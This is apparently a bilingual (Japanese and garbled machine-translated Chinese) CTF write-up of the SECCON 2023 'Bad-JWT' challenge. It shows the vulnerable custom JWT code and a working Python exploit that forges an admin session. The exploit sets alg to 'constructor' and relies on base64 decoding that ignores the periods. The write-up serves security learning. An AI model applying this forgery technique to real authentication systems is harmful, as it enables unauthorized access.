Challenge 挑战
I think this JWT implementation is not bad.
我认为这个 JWT 实现还不错。
http://bad-jwt.seccon.games:3000
文件
Files配布されたソースコード 分布式源代码
可読性向上のため、一部書き換えています。また、問題を解くにあたって不要な部分は省略しています。
它已被部分重写以提高可读性。 此外,在解决问题时省略了不必要的部分。
challenge/src/index.js
const FLAG = "SECCON{dummy}";
const PORT = "3000";
const express = require("express");
const cookieParser = require("cookie-parser");
const jwt = require("./jwt");
const app = express();
app.use(express.urlencoded({ extended: false }));
app.use(cookieParser());
const secret = require("crypto").randomBytes(32).toString("hex");
app.use((req, res, next) => {
try {
const token = req.cookies.session;
const payload = jwt.verify(token, secret);
req.session = payload;
} catch (e) {
return res.status(400).send("Authentication failed" + e);
}
return next();
});
app.get("/", (req, res) => {
if (req.session.isAdmin === true) {
return res.send(FLAG);
} else {
return res.status().send("You are not admin!");
}
});
app.listen(PORT, () => {
const admin_session = jwt.sign("HS512", { isAdmin: true }, secret);
console.log(`[INFO] Use ${admin_session} as session cookie`);
console.log(`Challenge server listening on port ${PORT}`);
});
challenge/src/jwt.js
const crypto = require("crypto");
const base64UrlEncode = (str) => {
return Buffer.from(str)
.toString("base64")
.replace(/=*$/g, "")
.replace(/\+/g, "-")
.replace(/\//g, "_");
};
const base64UrlDecode = (str) => {
return Buffer.from(str, "base64").toString();
};
const algorithms = {
hs256: (data, secret) =>
base64UrlEncode(crypto.createHmac("sha256", secret).update(data).digest()),
hs512: (data, secret) =>
base64UrlEncode(crypto.createHmac("sha512", secret).update(data).digest()),
};
const stringifyPart = (obj) => {
return base64UrlEncode(JSON.stringify(obj));
};
const parsePart = (str) => {
return JSON.parse(base64UrlDecode(str));
};
const createSignature = (header, payload, secret) => {
const data = `${stringifyPart(header)}.${stringifyPart(payload)}`;
const signature = algorithms[header.alg.toLowerCase()](data, secret);
return signature;
};
const parseToken = (token) => {
const parts = token.split(".");
if (parts.length !== 3) throw Error("Invalid JWT format");
const [header, payload, signature] = parts;
const parsedHeader = parsePart(header);
const parsedPayload = parsePart(payload);
return { header: parsedHeader, payload: parsedPayload, signature };
};
const sign = (alg, payload, secret) => {
const header = {
typ: "JWT",
alg: alg,
};
const signature = createSignature(header, payload, secret);
const token = `${stringifyPart(header)}.${stringifyPart(
payload
)}.${signature}`;
return token;
};
const verify = (token, secret) => {
const { header, payload, signature: expected_signature } = parseToken(token);
const calculated_signature = createSignature(header, payload, secret);
const calculated_buf = Buffer.from(calculated_signature, "base64");
const expected_buf = Buffer.from(expected_signature, "base64");
if (Buffer.compare(calculated_buf, expected_buf) !== 0) {
throw Error("Invalid signature");
}
return payload;
};
module.exports = { sign, verify };
溶液
Solution1. 发送成功访问
1. 正常なアクセスを送信するソースコードを見ると、cookieのsession
にJWTトークンを設定すると、署名を検証することがわかります。
如果您查看源代码,您会发现在 cookie 中设置 JWT 令牌 session
会验证签名。
const token = req.cookies.session;
JWTのシグネチャを計算するのは面倒なので、問題のソースコードを少し書き換えます。
计算 JWT 的签名很乏味,所以我会稍微重写一下有问题的源代码。
const verify = (token, secret) => {
const { header, payload, signature: expected_signature } = parseToken(token);
const calculated_signature = createSignature(header, payload, secret);
+ console.log({calculated_signature, expected_signature})
const calculated_buf = Buffer.from(calculated_signature, "base64");
const expected_buf = Buffer.from(expected_signature, "base64");
if (Buffer.compare(calculated_buf, expected_buf) !== 0) {
throw Error("Invalid signature");
}
return payload;
};
これで適当なJWTトークンを送信すると、シグネチャの計算結果が表示されます。2回送信すれば正しいシグネチャがわかるので署名が受理されるはずです。
现在您已发送相应的 JWT 令牌,将显示签名计算的结果。 如果您发送两次,您将知道正确的签名,并且应该接受您的签名。
import base64
import requests
import json
header = {"typ": "JWT", "alg": "HS256"}
headerStr = json.dumps(header).encode("utf-8")
body = {"isAdmin": True}
bodyStr = json.dumps(body).encode("utf-8")
def base64_encode(str:str):
return base64.b64encode(str).replace(b"=", b"").replace(b"+", b"-").replace(b"/", b"_")
headerBase64 = str(base64_encode(headerStr))[2:-1]
bodyBase64 = str(base64_encode(bodyStr))[2:-1]
jwt = f"{headerBase64}.{bodyBase64}.ここにシグネチャを入れる"
res = requests.get("http://localhost:3000/", cookies={"session": jwt})
print(res.text)
2. 创建错误的签名
2. 不正なシグネチャを作成する攻撃者が入力できる内容はJWTトークンのみです。つまり、JWTのheader(alg
, typ
)、body、signature(壊れているもの)のみです。 ここで、bodyは{"isAdmin": True}
にするしかなさそうで、かつheaderのtyp
は使用されていなさそうなので、考えられることは以下の2つです。
攻击者只能输入 JWT 令牌。 也就是说,JWT 中只有标头(、 alg
)、正文 typ
和签名(损坏的)。 在这里,似乎只能 {"isAdmin": True}
制作身体,而标题似乎 typ
没有使用,所以有两种可能的事情。
- headerの
alg
を変更するalg
更改页眉 - 壊れた
signature
でも署名を通す 坏了signature
但传递签名
結論から言うと、両方とも必要なので、前者から説明します。
总之,我们两者都需要,因此我们将从前者进行解释。
alg
を使用されている箇所を見ると、createSignature
関数があります。これをよく見ると、なかなか怪しそうです。algorithms
変数にはオブジェクトが入っていますが、ユーザの入力の文字列をそのまま受け取っています。JavaScriptのオブジェクトに対する[]
アクセサには、例えば__proto__
など、いくつかの特殊なキーがあります。今回は式の後半に(data, secret)
が入っており、アクセスした結果、引数が2つ(またはoptionalな引数がそれ以上)の関数が返ってくる必要があります。
alg
如果你看看它的使用位置, createSignature
有一个功能。 如果你仔细观察这个,它看起来很可疑。 algorithms
该变量包含一个对象,但逐字获取用户输入的字符串。 例如, __proto__
JavaScript 对象的访问器有一些 []
特殊的键。 这一次,表达式的后半部分包含 ,并且作为访问 (data, secret)
的结果,应该返回一个具有两个参数(或多个可选参数)的函数。
const createSignature = (header, payload, secret) => {
const data = `${stringifyPart(header)}.${stringifyPart(payload)}`;
const signature = algorithms[header.alg.toLowerCase()](data, secret);
return signature;
};
そこで、constructor
を使用します。constructor
は関数で、引数は可変です。また、Object[constructor](data, secret)
はdataを文字列として受け取り、[String: 'eyJ0eXAiOiJKV1QiLCJhbGciOiJjb25zdHJ1Y3RvciJ9.eyJpc0FkbWluIjp0cnVlfQ']
だけが返ります。つまり、secretに依存しません。
因此, constructor
请使用 . constructor
是一个函数,其参数是可变的。 此外, Object[constructor](data, secret)
将数据作为字符串,并且 [String: 'eyJ0eXAiOiJKV1QiLCJhbGciOiJjb25zdHJ1Y3RvciJ9.eyJpc0FkbWluIjp0cnVlfQ']
仅返回。 也就是说,它不依赖于秘密。
先ほどのコードを少し書き換えて、送信してみます。
让我们稍微重写一下前面的代码并发送它。
import base64
import requests
import json
header = {"typ": "JWT", "alg": "constructor"}
headerStr = json.dumps(header).encode("utf-8")
body = {"isAdmin": True}
bodyStr = json.dumps(body).encode("utf-8")
def base64_encode(str: str):
return (
base64.b64encode(str).replace(b"=", b"").replace(b"+", b"-").replace(b"/", b"_")
)
headerBase64 = str(base64_encode(headerStr))[2:-1]
bodyBase64 = str(base64_encode(bodyStr))[2:-1]
jwt = f"{headerBase64}.{bodyBase64}.foo"
res = requests.get("http://localhost:3000/", cookies={"session": jwt})
print(res.text)
すると、以下の内容が返ってきます。 您将收到以下信息:
{
expected_signature: 'foo',
calculated_signature: [String: 'eyJ0eXAiOiJKV1QiLCJhbGciOiJjb25zdHJ1Y3RvciJ9.eyJpc0FkbWluIjp0cnVlfQ']
}
ここで、jwtのシグネチャを書かれているものと同じにします。
现在使 JWT 的签名与写入的签名相同。
jwt = f"{headerBase64}.{bodyBase64}.eyJ0eXAiOiJKV1QiLCJhbGciOiJjb25zdHJ1Y3RvciJ9.eyJpc0FkbWluIjp0cnVlfQ"
すると当然ですが、.
が4つではInvalid JWT formatです。また、expected_signature
はstring、calculated_signature
はオブジェクトになります。当然これでは一致しません。
然后,当然,有 .
四个,这是无效的 JWT 格式。 expected_signature
是一个字符串, calculated_signature
是一个对象。 自然,这不匹配。
Buffer.compare
3. 旁路 Buffer.compare
3. Bypass Buffer.from
のドキュメントを読んでみましょう。
Buffer.from
让我们阅读文档。
以下のテキストが書かれています。 现写如下文字:
For objects that support Symbol.toPrimitive, returns Buffer.from(objectSymbol.toPrimitive, offsetOrEncoding).
对于支持 Symbol.toPrimitive 的对象,返回 Buffer.from(object Symbol.toPrimitive, offsetOrEncoding)。
試してみましょう! 试一试!
class Foo {
[Symbol.toPrimitive]() {
return "ABC";
}
}
const buf1 = Buffer.from(new Foo());
console.log({ buf1 }); // { buf1: <Buffer 41 42 43> }
確かにテキストの部分のみが取り出されています。ここで、Buffer.from
の第二引数にbase64
を指定しつつ、Base64として使用されない文字列を挿入してみます。
当然,只有文本的一部分被取出。 现在,尝试插入一个不用作 Base64 的字符串,同时 base64
指定为 Buffer.from
.
class Foo {
[Symbol.toPrimitive]() {
return "eyJ0eXAiOiJKV1QiLCJhbGciOiJjb25zdHJ1Y3RvciJ9";
}
}
class Bar {
[Symbol.toPrimitive]() {
// add $^.
return "eyJ0eXAi$O$iJK^V1&Qi.LCJh.&bGc.i^Oi.Jjb.25z^dHJ1Y3RvciJ9"; // ^^
}
}
const buf1 = Buffer.from(new Foo(), "base64");
const buf2 = Buffer.from(new Bar(), "base64");
console.log({ buf1, buf2 });
//{
// buf1: <Buffer 7b 22 74 79 70 22 3a 22 4a 57 54 22 2c 22 61 6c 67 22 3a 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 7d>,
// buf2: <Buffer 7b 22 74 79 70 22 3a 22 4a 57 54 22 2c 22 61 6c 67 22 3a 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 7d>
//}
Base64として使用されない文字は無視されることがわかりました。これを利用します。
事实证明,未用作 Base64 的字符将被忽略。 利用这一点。
jwt tokenを以下のように書き換えます。 重写 jwt 令牌,如下所示:
jwt = f"{headerBase64}.{bodyBase64}.eyJ0eXAiOiJKV1QiLCJhbGciOiJjb25zdHJ1Y3RvciJ9eyJpc0FkbWluIjp0cnVlfQ"
すると、signature
は確かに違いますが、Buffer.from
でピリオドが削除され、Buffer.compare
の結果が0になります。
然后,尽管肯定不同,但 Buffer.from
中的 signature
Buffer.compare
句点被删除,结果为 0。
{
expected_signature: 'eyJ0eXAiOiJKV1QiLCJhbGciOiJjb25zdHJ1Y3RvciJ9eyJpc0FkbWluIjp0cnVlfQ',
calculated_signature: [String: 'eyJ0eXAiOiJKV1QiLCJhbGciOiJjb25zdHJ1Y3RvciJ9.eyJpc0FkbWluIjp0cnVlfQ'],
calculated_buf: <Buffer 7b 22 74 79 70 22 3a 22 4a 57 54 22 2c 22 61 6c 67 22 3a 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 7d 7b 22 69 73 41 64 6d 69 6e 22 3a 74 72 75 65 7d>,
expected_buf: <Buffer 7b 22 74 79 70 22 3a 22 4a 57 54 22 2c 22 61 6c 67 22 3a 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 7d 7b 22 69 73 41 64 6d 69 6e 22 3a 74 72 75 65 7d>
}
4. 获取标志
4. Get flagFinal Payload 最终有效载荷
import base64
import requests
import json
header = {"typ": "JWT", "alg": "constructor"}
headerStr = json.dumps(header).encode("utf-8")
body = {"isAdmin": True}
bodyStr = json.dumps(body).encode("utf-8")
def base64_encode(str: str):
return (
base64.b64encode(str).replace(b"=", b"").replace(b"+", b"-").replace(b"/", b"_")
)
headerBase64 = str(base64_encode(headerStr))[2:-1]
bodyBase64 = str(base64_encode(bodyStr))[2:-1]
jwt = f"{headerBase64}.{bodyBase64}.eyJ0eXAiOiJKV1QiLCJhbGciOiJjb25zdHJ1Y3RvciJ9eyJpc0FkbWluIjp0cnVlfQ"
res = requests.get("http://bad-jwt.seccon.games:3000", cookies={"session": jwt})
print(res.text)
SECCON{Map_and_Object.prototype.hasOwnproperty_are_good}
原文始发于Github:SECCON CTF 2023 Quals – Bad-JWT